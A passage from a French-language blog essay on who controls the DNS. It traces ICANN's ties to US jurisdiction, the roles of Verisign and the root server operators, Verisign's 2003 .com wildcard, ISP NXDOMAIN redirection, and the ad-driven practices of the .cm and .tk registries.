Great Britain, ce qui laisse de côté l\u0026rsquo;Irlande du Nord. UK non. Le code non conforme décrit l\u0026rsquo;État plus fidèlement que le conforme ne l\u0026rsquo;aurait fait.\nEt l\u0026rsquo;Union soviétique est encore dans la racine. Celle-ci est plus étrange.\n.su a été délégué à l\u0026rsquo;Union soviétique le 19 septembre 1990. L\u0026rsquo;Union soviétique a cessé d\u0026rsquo;exister quinze mois plus tard.\nIl est toujours là. Trente-cinq ans après que l\u0026rsquo;État auquel il appartient a cessé d\u0026rsquo;exister, .su est en vie et prend des enregistrements — quelque chose comme 111 500 noms en mai 2025, administré depuis Moscou.\nLa règle dit que les ccTLD viennent de l\u0026rsquo;ISO 3166. L\u0026rsquo;ISO 3166 ne liste pas l\u0026rsquo;Union soviétique. Et ce n\u0026rsquo;est pas comme si la règle n\u0026rsquo;avait jamais été appliquée : .dd pour l\u0026rsquo;Allemagne de l\u0026rsquo;Est et .yu pour la Yougoslavie sont tous deux partis quand ces États sont partis. .su est celui qui n\u0026rsquo;est pas parti, et personne n\u0026rsquo;a jamais pu expliquer la différence en termes de la règle.\nCe qu\u0026rsquo;il est devenu est assez prévisible. Quand .ru a resserré ses vérifications d\u0026rsquo;enregistrement fin 2011, le commerce a déménagé à côté. Les sites malveillants en .su ont doublé en 2011 et redoublé en 2012, ce qui est la même histoire que les nouveaux gTLD bon marché et les ccTLD gratuits plus loin dans ce billet : l\u0026rsquo;abus est un fluide, et il coule là où les vérifications sont les plus faibles.\nDeux codes de pays, donc, qui ont survécu à la règle qui les a produits. .uk parce que personne n\u0026rsquo;a fait bouger un titulaire, .su parce que personne n\u0026rsquo;a fait partir une délégation quand son pays est parti. Dans les deux cas le règlement est clair et dans les deux cas il est resté inappliqué, parce que l\u0026rsquo;appliquer aurait voulu dire retirer quelque chose à quelqu\u0026rsquo;un qui l\u0026rsquo;avait déjà.\nC\u0026rsquo;est tout le caractère de l\u0026rsquo;autorité dans le DNS, visible avant que l\u0026rsquo;ICANN existe, et à ce titre rien de ce qui suit ne devrait vous surprendre.\nCe que cette réponse s\u0026rsquo;est avérée être est le reste de ce billet.\nLes dix-huit ans jusqu\u0026rsquo;à la passation L\u0026rsquo;ICANN a été constituée en Californie le 30 septembre 1998 et a immédiatement signé un Memorandum of Understanding avec le Department of Commerce américain. Elle n\u0026rsquo;a pas commencé indépendante pour devenir américaine. Elle était américaine dès le premier jour, par construction, et l\u0026rsquo;arrangement a été renouvelé sous une forme ou une autre pendant dix-huit ans.\nCommençons par ce qu\u0026rsquo;elle a bien fait, parce qu\u0026rsquo;il y a une chose et qu\u0026rsquo;elle compte.\nEn 1999, l\u0026rsquo;ICANN a brisé le monopole de l\u0026rsquo;enregistrement. Network Solutions avait été le seul endroit où acheter un .com ; le Shared Registration System a laissé d\u0026rsquo;autres bureaux d\u0026rsquo;enregistrement vendre des noms dans la même zone, et le prix a baissé et a continué de baisser. C\u0026rsquo;est un vrai accomplissement, c\u0026rsquo;est la raison pour laquelle un domaine coûte ce qu\u0026rsquo;il coûte aujourd\u0026rsquo;hui, et rien plus loin dans ce billet ne l\u0026rsquo;annule.\nPuis le schéma qui court à travers tout le reste commence.\n2000. L\u0026rsquo;ICANN a tenu une élection mondiale où les utilisateurs de l\u0026rsquo;internet ont choisi cinq membres du conseil directement. Elle ne s\u0026rsquo;est jamais répétée. La structure « at-large » qui l\u0026rsquo;a remplacée conseille et ne vote pas. La première et la dernière fois que le public a eu un mot contraignant à dire à l\u0026rsquo;ICANN, l\u0026rsquo;ICANN l\u0026rsquo;a supprimé.\n2005. Au World Summit on the Information Society à Tunis, une grande partie du monde a objecté à ce que les États-Unis tiennent la racine. Ce qui en est sorti fut l\u0026rsquo;Internet Governance Forum — une conférence annuelle sans autorité sur quoi que ce soit. L\u0026rsquo;arrangement de la racine n\u0026rsquo;a pas changé.\n2005. L\u0026rsquo;affaire .xxx, qui a duré six ans et est la preuve unique la plus nette de tout ce billet que la juridiction n\u0026rsquo;est pas abstraite. Des groupes de pression socialement conservateurs aux États-Unis ont pressé le Department of Commerce. La NTIA — la National Telecommunications and Information Administration, le bras du Commerce qui tenait l\u0026rsquo;accord avec l\u0026rsquo;ICANN — a rédigé des lettres à l\u0026rsquo;ICANN et, selon ses propres mots, a mobilisé ses ressources auprès de l\u0026rsquo;ICANN. Le conseil — qui s\u0026rsquo;acheminait vers l\u0026rsquo;approbation — a rejeté la demande, neuf voix contre cinq, puis de nouveau huit contre quatre, le président et le directeur général renversant tous deux leur position. Viviane Reding, alors la commissaire européenne responsable, a appelé cela le premier cas clair d\u0026rsquo;ingérence politique dans l\u0026rsquo;ICANN par le gouvernement américain. .xxx a finalement été approuvé en 2011, moment où le Department of Commerce a annoncé qu\u0026rsquo;il était déçu.\nUne campagne de lobbying intérieure américaine, acheminée par une agence fédérale américaine, a changé quels domaines de premier niveau existent sur l\u0026rsquo;internet. Pas de traité, pas de tribunal, pas de vote hors des États-Unis.\n2009. Le Joint Project Agreement avec le Commerce a été remplacé par l\u0026rsquo;Affirmation of Commitments, largement présentée comme l\u0026rsquo;ICANN devenant indépendante. Le contrat des fonctions IANA est resté exactement où il était.\nPuis la chose qui l\u0026rsquo;a réellement fait bouger, et ce ne fut rien que l\u0026rsquo;ICANN a fait.\n2013. Edward Snowden. Le 7 octobre, des mois après le début des révélations, les dirigeants de l\u0026rsquo;ICANN, de l\u0026rsquo;Internet Engineering Task Force, de l\u0026rsquo;Internet Architecture Board (IAB), du World Wide Web Consortium, de l\u0026rsquo;Internet Society et des cinq registres internet régionaux ont publié la déclaration de Montevideo, appelant à la mondialisation de l\u0026rsquo;ICANN et des fonctions IANA et citant, en toutes lettres, les dégâts que la surveillance généralisée avait faits à la confiance mondiale. La propre direction technique de l\u0026rsquo;internet — le directeur général de l\u0026rsquo;ICANN parmi les signataires — a dit tout haut que la tutelle américaine était devenue un handicap.\n14 mars 2014. La NTIA a annoncé son intention de transférer sa tutelle des fonctions IANA.\n1er octobre 2016. Le contrat a expiré.\nLa passation n\u0026rsquo;a donc été ni méritée ni accordée sur le fond. Elle a été concédée, dix-huit ans après, parce qu\u0026rsquo;un scandale de renseignement américain a rendu l\u0026rsquo;arrangement existant politiquement indéfendable et que la communauté technique l\u0026rsquo;a dit en public.\nCe qui vaut d\u0026rsquo;être gardé à l\u0026rsquo;esprit quand vous lisez ce que la transition a réellement fait.\nCe que la transition de 2016 a changé, et ce qu\u0026rsquo;elle n\u0026rsquo;a pas changé Vous entendrez que les Américains ont passé la main sur l\u0026rsquo;internet en 2016. Quiconque soutient que l\u0026rsquo;ICANN est un instrument du contrôle américain se voit répliquer cela, et s\u0026rsquo;il a ses faits faux il perd l\u0026rsquo;argument là. Alors ayez-les justes.\nLe 1er octobre 2016, le contrat des fonctions IANA entre la NTIA et l\u0026rsquo;ICANN a expiré et n\u0026rsquo;a pas été renouvelé. C\u0026rsquo;était réel. Le gouvernement américain ne tient plus de contrat lui donnant un droit d\u0026rsquo;approbation sur les changements de la zone racine, et de nouveaux statuts ont créé une Empowered Community avec la capacité théorique de rejeter des budgets et de retirer des membres du conseil.\nVoici ce qui n\u0026rsquo;a pas changé, et ce n\u0026rsquo;était pas un oubli. C\u0026rsquo;était écrit comme un objectif.\nLa proposition de transition affirmait que la juridiction légale dans laquelle réside l\u0026rsquo;ICANN devait rester inchangée. Les nouveaux statuts exigent que l\u0026rsquo;ICANN reste basée en Californie. Toute la structure de responsabilité bâtie pendant la transition est bâtie sur le droit californien. Elle marche en faisant de l\u0026rsquo;ICANN une organisation à but non lucratif californienne que les tribunaux californiens peuvent être appelés à tenir à ses propres articles.\nDonc après la grande passation : l\u0026rsquo;ICANN est une société californienne, soumise au droit fédéral américain et californien, dont les mécanismes de responsabilité sont exécutoires devant des tribunaux américains et nulle part ailleurs, fixant la politique d\u0026rsquo;une zone racine éditée et signée par une entreprise américaine sous un accord avec le Department of Commerce américain.\nLe contrat est parti. La juridiction a été délibérément gardée. Et la juridiction est la partie qui a des dents, parce qu\u0026rsquo;elle n\u0026rsquo;exige de personne qu\u0026rsquo;il intervienne. Elle s\u0026rsquo;applique automatiquement, tout le temps, par défaut.\nLa démonstration la plus nette, ce sont les sanctions. L\u0026rsquo;OFAC — l\u0026rsquo;Office of Foreign Assets Control, une partie du Trésor américain — gère les sanctions économiques et commerciales américaines, et décide avec qui les personnes et entreprises américaines ont le droit de faire affaire. L\u0026rsquo;ICANN est une société californienne, donc l\u0026rsquo;OFAC la lie, et cela contraint avec qui l\u0026rsquo;ICANN peut contracter et qui elle peut accréditer.\nSoyez précis sur la portée : cela atteint les registres et bureaux d\u0026rsquo;enregistrement de domaines de premier niveau génériques (gTLD), parce que ceux-là tiennent des contrats avec l\u0026rsquo;ICANN. Cela n\u0026rsquo;atteint pas les opérations de code de pays (ccTLD), qui siègent entièrement hors de la structure contractuelle de l\u0026rsquo;ICANN. Mais l\u0026rsquo;effet fuit bien au-delà de la frontière légale, parce que des bureaux d\u0026rsquo;enregistrement hors des États-Unis ont appliqué les restrictions de l\u0026rsquo;OFAC à leurs propres clients sous la supposition erronée que tenir un contrat avec l\u0026rsquo;ICANN l\u0026rsquo;exige, ou simplement en copiant des contrats d\u0026rsquo;enregistrement américains. La politique étrangère américaine se propage dans la chaîne des bureaux d\u0026rsquo;enregistrement par imitation autant que par la loi.\nIl n\u0026rsquo;y a pas de version de ceci où la réponse à « qui contrôle le DNS » ne commence pas par les États-Unis.\nQui cela laisse en mesure de faire quoi que ce soit contre une décision de l\u0026rsquo;ICANN est l\u0026rsquo;autre moitié de la question, et elle vaut mieux d\u0026rsquo;être posée une fois qu\u0026rsquo;il y a un dossier contre lequel la tester. Ce billet y revient à la fin.\nLa racine est un fichier texte Voilà pour qui commande. Voici la chose qu\u0026rsquo;ils commandent, et vous pouvez simplement la récupérer. L\u0026rsquo;ICANN publie la zone racine par transfert de zone — AXFR, le mécanisme DNS pour copier une zone entière plutôt qu\u0026rsquo;un enregistrement — à quiconque le demande, sans identifiants :\ndig . AXFR @xfr.dns.icann.org En ce moment, c\u0026rsquo;est 1 578 790 octets sur 24 886 lignes. Il contient 1 439 délégations — chaque domaine de premier niveau qui existe — dont 1 350 portent un enregistrement DS — le delegation signer, l\u0026rsquo;empreinte qui lie la clé de signature d\u0026rsquo;une zone enfant à son parent — et font donc partie de la chaîne signée.\nUn mégaoctet et demi. Tout l\u0026rsquo;espace de noms de l\u0026rsquo;internet, assez petit pour être envoyé par courriel.\nCe fichier est toute l\u0026rsquo;autorité de la racine. Un résolveur qui démarre à froid ne sait rien sauf les adresses de ses indications racine, et à l\u0026rsquo;instant où il obtient une réponse il suit des délégations sorties de ce fichier et de nulle part ailleurs. Changez une délégation dedans et vous avez changé où va le trafic d\u0026rsquo;un pays entier. Il n\u0026rsquo;y a pas de seconde copie avec un avis différent, pas de protocole de consensus, pas de vote au moment de la résolution. Il y a le fichier.\nLa question « qui contrôle le DNS » se réduit donc à une bien plus étroite : qui peut changer ce fichier, et qui le signe après.\nTrois organisations le touchent La réponse est une chaîne de trois, et il vaut d\u0026rsquo;être clair sur qui fait quoi, parce que les distinctions sont là où vivent tous les arguments.\nPTI — Public Technical Identifiers, une filiale de l\u0026rsquo;ICANN — accomplit les fonctions IANA. Elle reçoit les demandes de changement de la zone racine des opérateurs de TLD, les vérifie et les autorise. C\u0026rsquo;est la couche clériale, et délibérément : toute l\u0026rsquo;intention de conception est que l\u0026rsquo;IANA soit un greffier soigneux sans pouvoir d\u0026rsquo;appréciation.\nVerisign est le Root Zone Maintainer. Elle prend le changement autorisé, édite le fichier de zone, le signe avec la clé de signature de la zone racine, et le publie pour distribution. Verisign est une société américaine cotée, et elle le fait sous un Cooperative Agreement avec le Department of Commerce américain.\nLes opérateurs de serveurs racine le servent ensuite. Ils sont la partie la moins puissante de la chaîne et la seule dont quiconque a entendu parler.\nNotez où siège réellement le pouvoir d\u0026rsquo;appréciation. Pas chez les opérateurs. Pas vraiment chez le greffier. Il siège chez celui qui fixe la politique que le greffier applique, qui est l\u0026rsquo;ICANN, et chez l\u0026rsquo;entreprise qui tient le stylo et la clé de signature, qui est Verisign, sous un accord avec le gouvernement américain.\nDix des treize Les lettres des serveurs racine valent d\u0026rsquo;être listées en entier, parce que les gens citent le nombre treize comme s\u0026rsquo;il impliquait une dispersion :\nLettre Opérateur Pays A Verisign US B USC Information Sciences Institute US C Cogent Communications US D University of Maryland US E NASA Ames Research Center US F Internet Systems Consortium US G US Department of Defense (DISA) US H US Army Research Laboratory US I Netnod Suède J Verisign US K RIPE NCC Pays-Bas L ICANN US M WIDE Project Japon Treize lettres, douze organisations, parce que Verisign tient A et J. Dix des treize sont exploités depuis les États-Unis. Deux d\u0026rsquo;entre eux sont l\u0026rsquo;armée américaine.\nCe n\u0026rsquo;est pas un complot, c\u0026rsquo;est de l\u0026rsquo;histoire fossilisée. Ce sont les institutions qui étaient sur le réseau dans les années 1980 et ne sont jamais parties. Mais un accident de l\u0026rsquo;histoire qui laisse l\u0026rsquo;armée américaine faire tourner deux des serveurs racine de l\u0026rsquo;internet reste l\u0026rsquo;armée américaine faisant tourner deux des serveurs racine de l\u0026rsquo;internet, et c\u0026rsquo;est une chose étrange à décrire comme un système mondial.\nLes opérateurs n\u0026rsquo;ont non plus aucun contrat significatif qui les lie. L\u0026rsquo;ICANN ne les emploie pas et ne peut, d\u0026rsquo;aucune façon simple, les retirer. Ils servent la racine parce qu\u0026rsquo;ils l\u0026rsquo;ont toujours fait. La stabilité du système à cette couche repose sur la bonne volonté et sur rien de plus solide, ce qui marche jusqu\u0026rsquo;au jour où ça ne marche pas.\nL\u0026rsquo;ICANN ne fait pas tourner la zone racine C\u0026rsquo;est le fait le plus important du billet et il n\u0026rsquo;est presque jamais dit tout haut, alors il a son propre titre.\nL\u0026rsquo;ICANN n\u0026rsquo;exploite pas la zone racine.\nElle décide de ce qui devrait y aller. Elle n\u0026rsquo;édite pas le fichier, elle ne signe pas le fichier, et elle ne sert pas le fichier. Verisign édite et signe. Douze organisations servent. Le travail de l\u0026rsquo;ICANN est de dire quelle devrait être la réponse, puis de faire en sorte que quelqu\u0026rsquo;un d\u0026rsquo;autre la rende vraie.\nCette séparation est la seule chose qui tienne l\u0026rsquo;ICANN en bride.\nImaginez-la sans la séparation. Un seul organe fixe la politique, tient le stylo, possède la clé de signature et fait tourner les serveurs. Entre décider une chose et cette chose étant vraie partout sur terre, il n\u0026rsquo;y a pas d\u0026rsquo;autre partie, pas de seconde paire de mains, et personne en position de dire non. Quoi que vous pensiez du dossier de l\u0026rsquo;ICANN ci-dessous, cet arrangement serait pire.\nTel quel, il y a trois freins. Aucun d\u0026rsquo;eux n\u0026rsquo;est dans un statut.\nLe fichier est public. N\u0026rsquo;importe qui peut tirer la zone racine par AXFR — la commande est en haut de ce billet — et la comparer à celle d\u0026rsquo;hier. Vous ne pouvez pas changer une délégation discrètement. Quelqu\u0026rsquo;un d\u0026rsquo;autre doit faire le changement. Le mainteneur fait l\u0026rsquo;édition et la signature. C\u0026rsquo;est une organisation de plus qui doit accepter de le faire, et une de plus qui pourrait refuser. Les opérateurs servent par consentement. Comme ci-dessus, l\u0026rsquo;ICANN n\u0026rsquo;a pas de contrat significatif avec les opérateurs de serveurs racine. Ils distribuent la zone parce qu\u0026rsquo;ils l\u0026rsquo;ont toujours fait. Rien ne les oblige à distribuer quoi que ce soit — et comme Postel l\u0026rsquo;a montré en 1998, le consentement est mobile par quelqu\u0026rsquo;un en qui ils ont confiance qui le demande gentiment. Le dernier est le vrai filet de secours, et il a été utilisé un niveau plus bas de mémoire d\u0026rsquo;homme. Quand Verisign a mis un joker sur .com en 2003, l\u0026rsquo;Internet Systems Consortium (ISC) a livré delegation-only dans BIND et les opérateurs ont simplement cessé d\u0026rsquo;honorer les réponses. Personne n\u0026rsquo;a eu à gagner un argument dans un forum de politique. La capacité de la communauté technique à refuser n\u0026rsquo;est écrite nulle part et tout le monde impliqué sait qu\u0026rsquo;elle est là.\nMaintenant la partie inconfortable, parce que c\u0026rsquo;est plus mince que ça n\u0026rsquo;en a l\u0026rsquo;air.\nPersonne n\u0026rsquo;a conçu ce frein. Ce n\u0026rsquo;est pas une séparation des pouvoirs, c\u0026rsquo;est un accident de la façon dont le travail a été divisé dans les années 1990, et la transition de 2016 ne l\u0026rsquo;a ni renforcé ni écrit. Il n\u0026rsquo;y a pas de règle disant que l\u0026rsquo;organe qui fixe la politique ne peut pas un jour aussi tenir le stylo.\nEt la partie qui fait la vérification est une entreprise commerciale avec qui l\u0026rsquo;ICANN fait affaire. Verisign tient le rôle de mainteneur de la zone racine, et le contrat .com, et — comme le reste de ce billet l\u0026rsquo;expose — un accord de 20 millions de dollars avec l\u0026rsquo;ICANN signé dans la même négociation qu\u0026rsquo;une hausse de prix de .com. Un frein qui dépend de ce qu\u0026rsquo;une partie soit prête à refuser l\u0026rsquo;autre cesse de marcher une fois que les deux signent des choses ensemble.\nLa séparation est donc la meilleure chose de l\u0026rsquo;arrangement actuel. Elle est aussi non écrite, non planifiée, et tenue ensemble par l\u0026rsquo;habitude.\nVendre l\u0026rsquo;espace de noms Avant tout l\u0026rsquo;argument de gouvernance, quelque chose de plus simple montre ce que les gens qui tiennent un morceau de l\u0026rsquo;espace de noms en font quand rien ne les arrête. C\u0026rsquo;est arrivé à répétition, à chaque couche, et la première fois que c\u0026rsquo;est arrivé au sommet, cela a duré dix-neuf jours.\nLe 15 septembre 2003, Verisign a ajouté un enregistrement A joker aux zones .com et .net :\n*.com. IN A 64.94.110.11 Cette adresse se retourne en sitefinder.verisign.com. À partir de ce moment, chaque nom en .com et .net existait. Chaque faute de frappe, chaque domaine non enregistré, chaque chaîne malformée, chaque nom expiré — tous se résolvaient, vers une page de recherche Verisign portant la publicité de Verisign.\nPourquoi ce n\u0026rsquo;est pas une histoire de publicité Les plaintes de l\u0026rsquo;époque portaient surtout sur les publicités, et elles rataient le point. NXDOMAIN n\u0026rsquo;est pas une fonction d\u0026rsquo;expérience utilisateur. C\u0026rsquo;est un signal de protocole porteur, et une énorme quantité de logiciels au-dessus du DNS est bâtie sur la capacité de demander « ce nom existe-t-il ? » et d\u0026rsquo;obtenir une réponse véridique.\nSupprimez la réponse négative et les choses cassent de façons qui n\u0026rsquo;ont rien à voir avec les navigateurs.\nLe courrier fut le pire, et c\u0026rsquo;est la partie que les gens se trompent encore. Verisign n\u0026rsquo;a pas publié d\u0026rsquo;enregistrement MX joker. Il n\u0026rsquo;en avait pas besoin. Le RFC 5321 §5.1 dit que lorsqu\u0026rsquo;une recherche MX ne retourne rien, l\u0026rsquo;expéditeur retombe sur l\u0026rsquo;enregistrement d\u0026rsquo;adresse du domaine et le traite comme un MX implicite de préférence 0. Verisign venait de donner à chaque domaine inexistant en .com un enregistrement d\u0026rsquo;adresse. Donc chaque MTA de l\u0026rsquo;internet — chaque mail transfer agent, chaque machine qui relaie le courrier — suivant le standard correctement, avait désormais un échangeur de courrier pour soemcompany.com — et c\u0026rsquo;était la machine de Verisign.\nConnectez-vous au port 25 et elle répondait :\n220 snubby2-wceast Snubby Mail Rejector Daemon v1.3 ready L\u0026rsquo;intention annoncée de Verisign était assez raisonnable : rejeter le courrier immédiatement pour qu\u0026rsquo;il ne reste pas dans des files du monde entier. La mise en œuvre ne l\u0026rsquo;était pas. Snubby n\u0026rsquo;abandonnait qu\u0026rsquo;après que le MTA expéditeur avait transmis le corps du message, et retournait un code que la plupart des MTA lisent comme un échec transitoire — donc au lieu d\u0026rsquo;un rebond instantané, le courrier vers des adresses mal tapées était réessayé pendant des jours avant de mourir. Verisign l\u0026rsquo;a plus tard remplacé par un répondeur basé sur Postfix après que les opérateurs se sont plaints sur la liste NANOG.\nL\u0026rsquo;anti-spam a cassé en même temps, et plus discrètement. Vérifier si le domaine d\u0026rsquo;un expéditeur existe réellement était, et est encore, une des heuristiques de filtrage les moins chères et les plus efficaces disponibles. Du jour au lendemain, chaque domaine des deux plus grands TLD existait. La vérification retournait vrai pour tout et cessait de discriminer.\nEt tout le reste qui parle DNS mais pas HTTP — relais de courrier, clients FTP, imprimantes en réseau, systèmes de surveillance — a cessé d\u0026rsquo;obtenir « no such host » et s\u0026rsquo;est mis à obtenir un serveur web, ce qui s\u0026rsquo;est surtout manifesté par des délais d\u0026rsquo;attente et des blocages plutôt que par des échecs propres. Un nom mort ressemblait désormais à un service cassé.\nUne entreprise a ajouté un enregistrement à un fichier de zone et a changé la sémantique d\u0026rsquo;échec de l\u0026rsquo;internet.\nCe qui l\u0026rsquo;a arrêté Pas la gouvernance. L\u0026rsquo;ingénierie, puis une menace.\nL\u0026rsquo;ISC a livré une fonction delegation-only dans BIND en quelques jours, laissant les opérateurs jeter les réponses synthétisées des zones TLD — la communauté technique contournant le registre plutôt que d\u0026rsquo;en appeler à quiconque. Bien des FAI l\u0026rsquo;ont déployée.\nL\u0026rsquo;ICANN a demandé à Verisign de suspendre le service. Le 21 septembre, Verisign a refusé. L\u0026rsquo;ICANN l\u0026rsquo;a alors exigé le 3 octobre, les conséquences contractuelles rendues explicites, et Verisign a retiré les enregistrements le 4 octobre 2003. L\u0026rsquo;IAB a publié son objection architecturale aux jokers de registre, et le propre Security and Stability Advisory Committee de l\u0026rsquo;ICANN a rapporté le 9 juillet 2004 que le service n\u0026rsquo;aurait jamais dû être déployé sans examen et que les registres devraient retirer progressivement les jokers.\nPuis Verisign a poursuivi l\u0026rsquo;ICANN en justice, le 27 février 2004, arguant que l\u0026rsquo;ICANN avait outrepassé son autorité en l\u0026rsquo;arrêtant. L\u0026rsquo;affaire a été en grande partie rejetée en août, et le reste réglé le 1er mars 2006 — un règlement qui a donné à Verisign un nouvel accord de registre .com.\nRelisez cette séquence une fois de plus. Le registre a monétisé l\u0026rsquo;espace de noms qu\u0026rsquo;il était contracté pour exploiter, a refusé d\u0026rsquo;arrêter, a été forcé d\u0026rsquo;arrêter, a poursuivi l\u0026rsquo;organe qui l\u0026rsquo;a forcé, et est sorti du règlement en tenant un contrat renouvelé pour le TLD le plus précieux qui existe. Il le tient toujours. C\u0026rsquo;est la même entreprise qui aujourd\u0026rsquo;hui édite et signe la zone racine.\nPuis tout le monde l\u0026rsquo;a fait quand même Arrêter le registre n\u0026rsquo;a pas arrêté l\u0026rsquo;idée, ça l\u0026rsquo;a juste déplacée d\u0026rsquo;un cran plus bas. Si le serveur faisant autorité ne veut pas mentir sur l\u0026rsquo;inexistence, le résolveur le fera.\nÀ partir d\u0026rsquo;août 2006, Earthlink a commencé à rediriger les réponses NXDOMAIN vers Barefruit, servant des pages de recherche et des publicités. Paxfire vendait la même chose, et redirigeait en plus certains mots-clés tapés vers des annonceurs payants. Le « Domain Helper » de Comcast le faisait à grande échelle. Au Royaume-Uni, BT et Virgin Media le faisaient tous deux. L\u0026rsquo;économie est irrésistible du côté d\u0026rsquo;un FAI : les domaines mal tapés sont un inventaire gratuit généré par les doigts de vos propres clients.\nLes modes d\u0026rsquo;échec étaient pires que ceux de Verisign, parce qu\u0026rsquo;un résolveur voit chaque requête, pas seulement un TLD. La mise en œuvre de Barefruit détournait NXDOMAIN pour l\u0026rsquo;espace d\u0026rsquo;adressage privé, cassant les recherches à horizon partagé et le comportement des VPN sur les réseaux d\u0026rsquo;entreprise. Dan Kaminsky a démontré du cross-site scripting (XSS) contre les pages de redirection elles-mêmes, parce que désormais chaque nom d\u0026rsquo;hôte inexistant du monde se résolvait vers du HTML atteignable par un attaquant, servi dans un contexte que le navigateur associait au domaine de quelqu\u0026rsquo;un d\u0026rsquo;autre. Monétiser le cas d\u0026rsquo;erreur avait transformé une recherche échouée en surface XSS.\nLa correction de protocole Deux choses l\u0026rsquo;ont fermé, et les deux valent d\u0026rsquo;être notées parce qu\u0026rsquo;elles sont la forme de chaque vraie correction dans le DNS : rendre le mensonge détectable, puis le rendre contractuel.\nDNSSEC fournit le déni d\u0026rsquo;existence authentifié. Les enregistrements NSEC et NSEC3 laissent une zone signée prouver qu\u0026rsquo;un nom n\u0026rsquo;existe pas, et un résolveur validant rejettera une réponse synthétisée à sa place. L\u0026rsquo;inexistence a cessé d\u0026rsquo;être la seule réponse que personne ne pouvait vérifier. Ce n\u0026rsquo;est pas étanche — un résolveur qui retire les signatures au passage peut encore réécrire la réponse, ce qui est exactement pourquoi valider sur le client plutôt que de faire confiance au résolveur compte, et c\u0026rsquo;est l\u0026rsquo;argument que ce site a déjà fait longuement.\nEt l\u0026rsquo;ICANN, à son crédit, a bien appris celle-ci. La Spécification 6 du nouvel accord de registre gTLD interdit catégoriquement les jokers, les enregistrements synthétisés et la redirection pour les noms non enregistrés, et exige que les serveurs faisant autorité retournent Name Error, RCODE 3. Chacune des 1 200 chaînes de la série 2012 est contractuellement empêchée de faire ce que Verisign a fait à .com.\nC\u0026rsquo;est une vraie amélioration, et il vaut d\u0026rsquo;être précis sur ce qui l\u0026rsquo;a produite : pas le processus de gouvernance, mais dix-neuf jours de casse visible en 2003 assez embarrassants pour être écrits dans un contrat une décennie plus tard.\nEt rien de tout cela n\u0026rsquo;a touché les codes de pays La Spécification 6 lie les gTLD. Elle les lie parce qu\u0026rsquo;ils signent un accord de registre avec l\u0026rsquo;ICANN, et cet accord est le levier.\nUn ccTLD ne signe rien de tel. Pas d\u0026rsquo;accord de registre, pas de Spécification 6, pas de fonction de conformité, pas de redevance. Rien dans le règlement de l\u0026rsquo;ICANN ne régit comment un registre de code de pays exploite sa zone — ce qui est pourquoi les deux choses ci-dessous étaient possibles, et pourquoi personne n\u0026rsquo;était en position de les arrêter.\nCe n\u0026rsquo;est pas la même chose que dire que l\u0026rsquo;ICANN est absente, et je veux être précis sur où elle siège, parce que j\u0026rsquo;ai passé deux ans à en subir l\u0026rsquo;effet.\nCe que l\u0026rsquo;ICANN tient sur un ccTLD, c\u0026rsquo;est la délégation elle-même. Chaque enregistrement NS, chaque bout de glue, chaque enregistrement DS et chaque changement de contact pour .uk vit dans la zone racine, et la seule voie vers la zone racine est une demande de changement IANA — vérifiée contre les contacts administratif et technique enregistrés, et traitée sur le calendrier de l\u0026rsquo;IANA plutôt que le vôtre. Sous le RFC 1591, l\u0026rsquo;IANA décide aussi, en dernier ressort, qui tient la délégation tout court. Les redélégations sont rares. Elles ne sont pas hypothétiques.\nUn registre de code de pays est donc souverain sur la façon dont il tourne, et complètement dépendant d\u0026rsquo;un tiers pour tout ce qui doit être visible dans la racine. Les moments où vous avez le plus besoin qu\u0026rsquo;un changement atterrisse — un serveur de noms qui déménage, un renouvellement de clé dont le DS doit être publié avant que l\u0026rsquo;ancien parte — sont exactement les moments où vous attendez dans la file de quelqu\u0026rsquo;un d\u0026rsquo;autre. C\u0026rsquo;est une dépendance opérationnelle vivante plutôt qu\u0026rsquo;une abstraction de gouvernance, et c\u0026rsquo;est un sujet pour la suite.\nNotez maintenant ce que cette combinaison produit. La prise de l\u0026rsquo;ICANN sur un ccTLD est serrée précisément là où elle gêne un registre qui se comporte bien, et absente précisément là où elle aurait pu en retenir un qui ne le fait pas. Elle peut retenir votre enregistrement DS. Elle n\u0026rsquo;a pas pu empêcher le Cameroun de pointer tout un domaine de premier niveau vers une page de publicité.\nLa pratique n\u0026rsquo;a donc jamais cessé. Elle a juste déménagé quelque part où le contrat n\u0026rsquo;atteignait pas.\nLe Cameroun a mis un joker sur tout un domaine de premier niveau pour récolter des fautes de frappe.\nEn août 2006, le registre .cm a pointé chaque nom non enregistré de la zone vers une page de parking de liens de recherche payants. Il n\u0026rsquo;y a rien de subtil dans le coup : .cm est .com avec le o raté, donc le marché cible était le taux de gros doigts du plus grand TLD qui existe, et l\u0026rsquo;opérateur était une agence gouvernementale — ANTIC, sous le ministère camerounais des Postes et Télécommunications.\nÇa payait bien. NameJet a rapporté plus de 500 000 $ de ventes .cm le premier jour et plus de 2 millions de dollars la première semaine ; hotels.cm est parti pour 81 100 $ en 2009. Cela a aussi fait exactement ce que vous attendriez à la sécurité de la zone, parce que le trafic entrant de fautes de frappe est le canal de livraison idéal pour un téléchargement hostile. En décembre 2009, McAfee a noté .cm le TLD le plus risqué du monde, avec 36,7 % de ses sites évalués comme posant un risque.\nVerisign a été forcé de défaire le même tour en dix-neuf jours. Le Cameroun l\u0026rsquo;a fait tourner des années. La différence n\u0026rsquo;est pas que l\u0026rsquo;un était pire. La différence est que l\u0026rsquo;un avait signé un contrat.\nTokelau est devenu le plus grand domaine de code de pays de la terre en distribuant des noms.\nTokelau est un territoire néo-zélandais du Pacifique Sud avec une population d\u0026rsquo;environ 1 500 personnes. Son ccTLD, .tk, était exploité par Freenom, qui distribuait les enregistrements pour rien. En 2016, c\u0026rsquo;était le domaine de code de pays le plus enregistré du monde à 31 311 498 noms — un chiffre qui vient, il se trouve, d\u0026rsquo;une carte du monde publiée par Nominet.\nGratuit n\u0026rsquo;était pas gratuit. Les conditions de Freenom exigeaient qu\u0026rsquo;un domaine gratuit porte un trafic régulier, et prévoyaient que si la redirection cessait de marcher — ou si le nom se mettait à attirer des visiteurs qui valaient la peine — le registre pouvait le reprendre et servir sa propre publicité dessus. C\u0026rsquo;est tout le modèle d\u0026rsquo;affaires, et il est plus élégant que celui de Verisign. N\u0026rsquo;essayez pas de deviner quels noms sont précieux. Distribuez tout l\u0026rsquo;espace de noms à coût marginal nul, laissez le monde découvrir les précieux pour vous, puis reprenez ceux-là et monétisez le trafic. Environ un sixième du revenu annuel de Tokelau en venait.\nL\u0026rsquo;externalité a atterri sur tous les autres. L\u0026rsquo;enregistrement gratuit sans vérification est l\u0026rsquo;entrée idéale pour l\u0026rsquo;abus en masse — la même économie que les nouveaux gTLD bon marché, poussée jusqu\u0026rsquo;à zéro. Le temps que Meta dépose plainte, les cinq ccTLD gratuits de Freenom — 